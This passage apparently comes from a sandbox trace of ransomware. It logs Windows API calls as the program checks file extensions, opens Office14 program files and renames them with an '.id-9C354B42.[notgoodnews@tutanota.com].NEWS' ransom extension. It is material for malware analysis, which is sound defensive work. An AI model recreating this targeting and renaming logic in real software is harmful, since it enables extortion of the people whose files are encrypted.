Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0216.237] lstrlenW (lpString=".zip") returned 4 [0216.237] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0216.237] lstrlenW (lpString=".rar") returned 4 [0216.237] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0216.237] lstrlenW (lpString=".bz2") returned 4 [0216.237] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0216.237] lstrlenW (lpString=".7z") returned 3 [0216.237] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0216.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0216.238] lstrlenW (lpString=".dbf") returned 4 [0216.238] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0216.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0216.238] lstrlenW (lpString=".1cd") returned 4 [0216.238] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0216.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0216.238] lstrlenW (lpString=".jpg") returned 4 [0216.239] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0216.239] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0216.239] lstrlenW (lpString="IACOM2.DLL") returned 10 [0216.239] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0216.243] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=4289376) returned 1 [0216.244] CloseHandle (hObject=0x324) returned 1 [0216.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll")) returned 0x20 [0216.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0216.244] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0216.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0216.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0216.245] lstrlenW (lpString=".doc") returned 4 [0216.245] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0216.245] lstrlenW (lpString=".docx") returned 5 [0216.245] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0216.245] lstrlenW (lpString=".pdf") returned 4 [0216.245] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0216.246] lstrlenW (lpString=".xls") returned 4 [0216.246] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0216.246] lstrlenW (lpString=".xlsx") returned 5 [0216.246] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0216.246] lstrlenW (lpString=".ppt") returned 4 [0216.246] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0216.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0216.246] lstrlenW (lpString=".zip") returned 4 [0216.246] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0216.246] lstrlenW (lpString=".rar") returned 4 [0216.246] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0216.246] lstrlenW (lpString=".bz2") returned 4 [0216.247] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0216.247] lstrlenW (lpString=".7z") returned 3 [0216.247] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0216.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0216.247] lstrlenW (lpString=".dbf") returned 4 [0216.247] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0216.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0216.247] lstrlenW (lpString=".1cd") returned 4 [0216.247] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0216.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0216.247] lstrlenW (lpString=".jpg") returned 4 [0216.247] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0216.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0216.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0216.249] lstrlenW (lpString=".doc") returned 4 [0216.249] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0216.249] lstrlenW (lpString=".docx") returned 5 [0216.250] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0216.250] lstrlenW (lpString=".pdf") returned 4 [0216.250] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0216.250] lstrlenW (lpString=".xls") returned 4 [0216.250] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0216.250] lstrlenW (lpString=".xlsx") returned 5 [0216.251] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0216.251] lstrlenW (lpString=".ppt") returned 4 [0216.251] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0216.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0216.251] lstrlenW (lpString=".zip") returned 4 [0216.251] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0216.251] lstrlenW (lpString=".rar") returned 4 [0216.251] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0216.251] lstrlenW (lpString=".bz2") returned 4 [0216.253] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0216.253] lstrlenW (lpString=".7z") returned 3 [0216.253] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0216.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0216.253] lstrlenW (lpString=".dbf") returned 4 [0216.254] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0216.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0216.254] lstrlenW (lpString=".1cd") returned 4 [0216.254] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0216.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0216.254] lstrlenW (lpString=".jpg") returned 4 [0216.254] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0216.255] lstrcmpiW (lpString1=".EXE", lpString2=".NEWS") returned -1 [0216.256] lstrlenW (lpString="LICLUA.EXE") returned 10 [0216.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0216.258] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=204168) returned 1 [0216.259] CloseHandle (hObject=0x324) returned 1 [0216.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe")) returned 0x20 [0216.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0216.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0216.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0216.261] lstrlenW (lpString=".doc") returned 4 [0216.261] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0216.479] lstrlenW (lpString=".docx") returned 5 [0216.479] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1 [0216.480] lstrlenW (lpString=".pdf") returned 4 [0216.480] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0216.480] lstrlenW (lpString=".xls") returned 4 [0216.480] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0216.480] lstrlenW (lpString=".xlsx") returned 5 [0216.480] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1 [0216.480] lstrlenW (lpString=".ppt") returned 4 [0216.480] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0216.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0216.481] lstrlenW (lpString=".zip") returned 4 [0216.481] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0216.481] lstrlenW (lpString=".rar") returned 4 [0216.481] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0216.481] lstrlenW (lpString=".bz2") returned 4 [0216.481] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0216.481] lstrlenW (lpString=".7z") returned 3 [0216.481] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0216.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0216.481] lstrlenW (lpString=".dbf") returned 4 [0216.481] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0216.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0216.482] lstrlenW (lpString=".1cd") returned 4 [0216.483] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0216.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0216.483] lstrlenW (lpString=".jpg") returned 4 [0216.483] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0216.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0216.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0216.483] lstrlenW (lpString=".doc") returned 4 [0216.483] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0216.484] lstrlenW (lpString=".docx") returned 5 [0216.484] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1 [0216.484] lstrlenW (lpString=".pdf") returned 4 [0216.484] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0216.484] lstrlenW (lpString=".xls") returned 4 [0216.484] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0216.484] lstrlenW (lpString=".xlsx") returned 5 [0216.484] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1 [0216.484] lstrlenW (lpString=".ppt") returned 4 [0216.484] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0216.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0216.484] lstrlenW (lpString=".zip") returned 4 [0216.484] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0216.485] lstrlenW (lpString=".rar") returned 4 [0216.485] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0216.485] lstrlenW (lpString=".bz2") returned 4 [0216.485] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0216.485] lstrlenW (lpString=".7z") returned 3 [0216.485] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0216.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0216.485] lstrlenW (lpString=".dbf") returned 4 [0216.485] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0216.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0216.485] lstrlenW (lpString=".1cd") returned 4 [0216.485] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0216.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned 66 [0216.486] lstrlenW (lpString=".jpg") returned 4 [0216.486] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0216.487] lstrcmpiW (lpString1=".EXE", lpString2=".NEWS") returned -1 [0216.488] lstrlenW (lpString="MSOICONS.EXE") returned 12 [0216.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0217.637] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=473952) returned 1 [0217.637] CloseHandle (hObject=0x324) returned 1 [0217.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe")) returned 0x20 [0217.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0217.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0217.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0217.799] lstrlenW (lpString=".doc") returned 4 [0217.799] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0217.799] lstrlenW (lpString=".docx") returned 5 [0217.799] lstrcmpiW (lpString1=".docx", lpString2="S.EXE") returned -1 [0217.799] lstrlenW (lpString=".pdf") returned 4 [0217.800] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0217.800] lstrlenW (lpString=".xls") returned 4 [0217.800] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0217.800] lstrlenW (lpString=".xlsx") returned 5 [0217.800] lstrcmpiW (lpString1=".xlsx", lpString2="S.EXE") returned -1 [0217.800] lstrlenW (lpString=".ppt") returned 4 [0217.800] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0217.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0217.800] lstrlenW (lpString=".zip") returned 4 [0217.800] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0217.800] lstrlenW (lpString=".rar") returned 4 [0217.801] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0217.801] lstrlenW (lpString=".bz2") returned 4 [0217.801] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0217.802] lstrlenW (lpString=".7z") returned 3 [0217.802] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0217.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0217.802] lstrlenW (lpString=".dbf") returned 4 [0217.802] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0217.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0217.802] lstrlenW (lpString=".1cd") returned 4 [0217.802] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0217.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0217.802] lstrlenW (lpString=".jpg") returned 4 [0217.802] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0217.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0217.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0217.803] lstrlenW (lpString=".doc") returned 4 [0217.803] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0217.803] lstrlenW (lpString=".docx") returned 5 [0217.803] lstrcmpiW (lpString1=".docx", lpString2="S.EXE") returned -1 [0217.803] lstrlenW (lpString=".pdf") returned 4 [0217.803] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0217.803] lstrlenW (lpString=".xls") returned 4 [0217.804] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0217.804] lstrlenW (lpString=".xlsx") returned 5 [0217.804] lstrcmpiW (lpString1=".xlsx", lpString2="S.EXE") returned -1 [0217.804] lstrlenW (lpString=".ppt") returned 4 [0217.804] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0217.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0217.804] lstrlenW (lpString=".zip") returned 4 [0217.804] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0217.804] lstrlenW (lpString=".rar") returned 4 [0217.804] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0217.804] lstrlenW (lpString=".bz2") returned 4 [0217.805] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0217.805] lstrlenW (lpString=".7z") returned 3 [0217.805] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0217.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0217.805] lstrlenW (lpString=".dbf") returned 4 [0217.805] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0217.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0217.805] lstrlenW (lpString=".1cd") returned 4 [0217.807] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0217.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0217.807] lstrlenW (lpString=".jpg") returned 4 [0217.807] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0217.808] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0217.810] lstrlenW (lpString="MSORES.DLL") returned 10 [0217.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0217.813] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=72521600) returned 1 [0217.813] CloseHandle (hObject=0x304) returned 1 [0217.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll")) returned 0x20 [0217.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0217.814] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0217.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0217.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0217.814] lstrlenW (lpString=".doc") returned 4 [0217.814] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0217.814] lstrlenW (lpString=".docx") returned 5 [0217.814] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0217.814] lstrlenW (lpString=".pdf") returned 4 [0217.814] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0217.815] lstrlenW (lpString=".xls") returned 4 [0217.815] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0217.815] lstrlenW (lpString=".xlsx") returned 5 [0217.815] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0217.815] lstrlenW (lpString=".ppt") returned 4 [0217.815] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0217.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0217.815] lstrlenW (lpString=".zip") returned 4 [0217.815] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0217.817] lstrlenW (lpString=".rar") returned 4 [0217.817] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0217.817] lstrlenW (lpString=".bz2") returned 4 [0217.817] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0217.817] lstrlenW (lpString=".7z") returned 3 [0217.817] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0217.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0217.817] lstrlenW (lpString=".dbf") returned 4 [0217.817] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0217.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0217.818] lstrlenW (lpString=".1cd") returned 4 [0217.818] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0217.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0217.818] lstrlenW (lpString=".jpg") returned 4 [0217.818] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0217.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0217.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0217.819] lstrlenW (lpString=".doc") returned 4 [0217.819] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0217.819] lstrlenW (lpString=".docx") returned 5 [0217.819] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0217.819] lstrlenW (lpString=".pdf") returned 4 [0217.819] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0217.819] lstrlenW (lpString=".xls") returned 4 [0217.819] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0217.819] lstrlenW (lpString=".xlsx") returned 5 [0217.819] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0217.820] lstrlenW (lpString=".ppt") returned 4 [0217.820] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0217.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0217.820] lstrlenW (lpString=".zip") returned 4 [0217.820] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0217.820] lstrlenW (lpString=".rar") returned 4 [0217.821] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0217.821] lstrlenW (lpString=".bz2") returned 4 [0217.821] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0217.821] lstrlenW (lpString=".7z") returned 3 [0217.821] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0217.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0217.821] lstrlenW (lpString=".dbf") returned 4 [0217.821] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0217.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0217.821] lstrlenW (lpString=".1cd") returned 4 [0217.821] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0217.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0217.822] lstrlenW (lpString=".jpg") returned 4 [0217.822] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0217.823] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0217.823] lstrlenW (lpString="msoshext.dll") returned 12 [0217.823] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0217.824] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=1269648) returned 1 [0217.824] CloseHandle (hObject=0x304) returned 1 [0217.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll")) returned 0x20 [0217.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0217.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 